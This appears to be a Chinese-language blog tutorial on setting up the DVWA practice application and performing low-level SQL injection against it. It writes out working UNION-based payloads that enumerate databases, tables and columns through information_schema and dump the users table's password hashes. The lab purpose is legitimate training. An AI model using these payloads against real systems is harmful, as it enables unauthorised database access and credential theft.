1. 程式人生 > >滲透測試漏洞平臺DVWA環境安裝搭建及初級SQL注入

滲透測試漏洞平臺DVWA環境安裝搭建及初級SQL注入

一:簡介

      DVWA(Damn Vulnerable Web Application)是一個用來進行安全脆弱性鑑定的PHP/MySQL Web應用,旨在為安全專業人員測試自己的專業技能和工具提供合法的環境,幫助web開發者更好的理解web應用安全防範的過程。

 一共有十個模組:

      暴力(破解)、命令列注入、跨站請求偽造、檔案包含、檔案上傳、不安全的驗證碼、SQL注入、SQL盲注、弱會話ID、XSS漏洞(DOM型跨站指令碼、反射型跨站指令碼、  儲存型跨站指令碼)

二: 環境搭建

      3、把下載好的DWVA解壓,放在D:\PhpStudy\PHPTutorial\WWW中(因為我將phpStudy安裝在D盤,所以是D:\PhpStudy)。

       

        4、需要配置DVWA連結資料庫,請開啟config資料夾(在DVWA目錄下),如果開啟是config.inc.php.dist的話,複製它,重新命名為config.inc.php,再開啟config.inc.php,把密碼設定為空。

         5、開啟瀏覽器訪問:http://localhost/DVWA/,拉到下面,點選Setup/Reset DB,點選Create/Reset Database。

        6、建立成功後,訪問http://localhost/DVWA/login.php輸入使用者名稱,密碼登陸,預設使用者名稱 admin 預設密碼 password。三:SQL注入模組(SQLMAP)

   1、輸入一個數字,然後submit

          2、我們這裡要檢視Cookie,因為這有登陸頁面,右鍵---檢查,檢視Cookie。

          3、開啟sqlmap,輸入命令,檢視資料庫

       

       4、查表

我們也可以在紅線目錄下檢視

    5、查表裡資料

      6、檢視欄位的資料

四:SQL手工注入(安全級別為LOW級

上面用的是sqlmap獲取資料庫資訊,現在使用手工注入來獲取資料庫的資訊。

思路:1.判斷是否存在注入,注入是字元型還是數字型
           2.猜解SQL查詢語句中的欄位數
           3.確定顯示的欄位順序
           4.獲取當前資料庫
           5.獲取資料庫中的表
           6.獲取表中的欄位名
           7.下載資料

  後端資料庫語句:SELECT first_name, last_name FROM users WHERE user_id = '$id'

(1)輸入1,查詢成功。

         輸入1' or '1'='1,返回了多個結果,說明存在字元型注入。

        傳到後端語句變為:SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1'

 

(2)輸入1' or 1=1 order by 2 #,查詢成功。輸入1' or 1=1 order by 3 #,查詢失敗。說明欄位為2

         也可以通過輸入1' union select 1,2 #來猜解欄位數

 (3)獲取當前資料庫,輸入1' union select 1,database() #,查詢成功。當前的資料庫為dvwa。

(4)獲取資料庫中的表

輸入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查詢成功。資料庫dvwa中一共有兩個表,guestbook與users

(5)獲取表中的欄位名

輸入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #,查詢成功。users表中有8個欄位,分別是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。

(7)下載資料

輸入1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查詢成功。

SQL注入LOW級的這樣就基本結束了!!!這只是最簡單的SQL注入,沒什麼技術含量,難的在後面,加油,小夥伴們。